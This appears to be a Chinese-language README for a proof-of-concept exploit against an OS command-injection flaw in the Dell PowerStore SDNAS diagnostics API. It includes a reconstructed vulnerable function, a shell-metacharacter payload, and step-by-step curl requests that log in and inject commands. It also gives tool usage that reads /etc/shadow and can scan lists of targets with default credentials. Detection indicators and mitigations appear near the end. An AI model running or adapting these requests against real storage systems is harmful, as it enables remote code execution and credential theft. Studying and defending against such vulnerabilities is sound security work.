Dell PowerStore 的软件定义 NAS(SDNAS)组件对外暴露了一个用于网络诊断的 REST API,该 API 会将用户可控的参数未经净化直接传递给底层操作系统命令。任何持有有效 API 凭据的攻击者都可以向 SDNAS 诊断端点的 nslookup_host 参数注入 shell 元字符,从而以 storageadmin 服务账户身份实现远程代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-116448 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78(操作系统命令注入) |
| 受影响版本 | 启用 SDNAS 的 Dell PowerStore OS <= 3.6.0.0 |
| 补丁 | PowerStore OS 4.0.0.1 |
| 所需认证 | 低(只读 API 凭据即可) |
| 披露日期 | 2026-11-19 |
SDNAS 诊断服务将 nslookup_host 未经净化直接传入 shell 调用(根据反编译的 sdnas_diag_service 重建):
# VULNERABLE — sdnas/diagnostic_service.py (reconstructed)
def run_network_diagnostics(params: dict) -> dict:
host = params.get("nslookup_host", "")
# CWE-78: direct string interpolation into shell=True call
result = subprocess.check_output(
f"nslookup {host} 2>&1",
shell=True, timeout=10
)
return {"output": result.decode()}
载荷 8.8.8.8; id; hostname # 会导致注入的命令被执行,并在 JSON 响应中返回其输出。
flowchart LR
A([Attacker]) -->|POST /api/rest/login_sessions| B[PowerStore REST API]
B -->|DELL-EMC-TOKEN| A
A -->|GET /api/rest/sdnas_node| B
B -->|node list + IDs| A
A -->|POST sdnas_node/ID/action/diagnose_network| B
B -->|shell=True executes injected cmd| C[OS Shell]
C -->|stdout in JSON response| D([RCE output])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
id)python poc.py -u https://powerstore.corp --username svc_monitor --password Monitor1!
python poc.py -u https://powerstore.corp \
--username svc_monitor --password Monitor1! \
--cmd "cat /etc/shadow" -o results.json
python poc.py -u https://powerstore.corp --check-only --insecure
python poc.py --ip-list scope.txt --username admin --password admin \
--proxy http://127.0.0.1:8080 --insecure --delay 1.5
# 1. Authenticate
curl -sk -X POST https://TARGET/api/rest/login_sessions \
-H 'Content-Type: application/json' \
-d '{"username":"svc_monitor","password":"Monitor1!","is_async":false}' \
-c cookies.txt -D - | grep DELL-EMC-TOKEN
# 2. List SDNAS nodes
curl -sk https://TARGET/api/rest/sdnas_node \
-H 'DELL-EMC-TOKEN: <token>' -c cookies.txt
# 3. Inject (replace NODE_ID)
curl -sk -X POST \
"https://TARGET/api/rest/sdnas_node/NODE_ID/action/diagnose_network" \
-H 'Content-Type: application/json' -H 'DELL-EMC-TOKEN: <token>' \
-d '{"nslookup_host":"8.8.8.8; id; hostname #"}' -c cookies.txt
| 参数 | 描述 |
|---|---|
-u / --url | 目标基础 URL |
--ip | 目标 IP — 构建 https://IP:PORT |
--ip-list FILE | 以换行分隔的 IP/URL 列表 |
--port INT | HTTPS 端口(默认:443) |
--username STR | API 用户名(默认:admin) |
--password STR | API 密码 |
--cmd STR | 要执行的 OS 命令(默认:id) |
--check-only | 仅进行指纹识别,跳过漏洞利用 |
--proxy URL | HTTP 代理(例如 http://127.0.0.1:8080) |
--insecure | 禁用 TLS 证书验证 |
-o / --output FILE | 将 JSON 结果写入文件 |
--timeout INT | 请求超时时间(秒)(默认:15) |
--retries INT | 连接错误时的重试次数(默认:2) |
--delay FLOAT | 目标之间的延迟(默认:0.5) |
-v / --verbose | 详细记录请求/响应日志 |
| 指标 | 说明 |
|---|---|
POST .*/sdnas_node/.*/action/diagnose_network,且请求体包含 ; 或 | | nslookup_host 中存在 Shell 元字符 |
sdnas_diag 出现异常子进程(sh、bash、wget、curl) | EDR / 进程审计日志 |
| PowerStore 管理接口向未知主机发起出站 DNS/HTTP 请求 | 网络监控 |
| 来自异常源 IP 的 REST API 登录 | SIEM 登录事件告警 |
任何有效的 API 凭据(包括监控账户)均可提升为以 storageadmin 身份执行的远程代码执行。后果包括备份元数据、卷配置的完全窃取,从 /etc/shadow 收集凭据,以及向存储阵列内部管理网络的横向移动。
| 操作 | 详情 |
|---|---|
| 升级 | 应用 Dell PowerStore OS 4.0.0.1 或更高版本 |
| 分段 | 将管理 API(端口 443)限制为仅管理员子网可访问 |
| 监控 | 对非管理员账户发起的 diagnose_network 调用发出告警 |
| 轮换 | 审计并轮换所有服务账户的 API 凭据 |
免责声明: 仅出于授权安全研究和负责任披露的目的发布。 仅可在您拥有或已获得明确书面许可进行测试的系统上使用。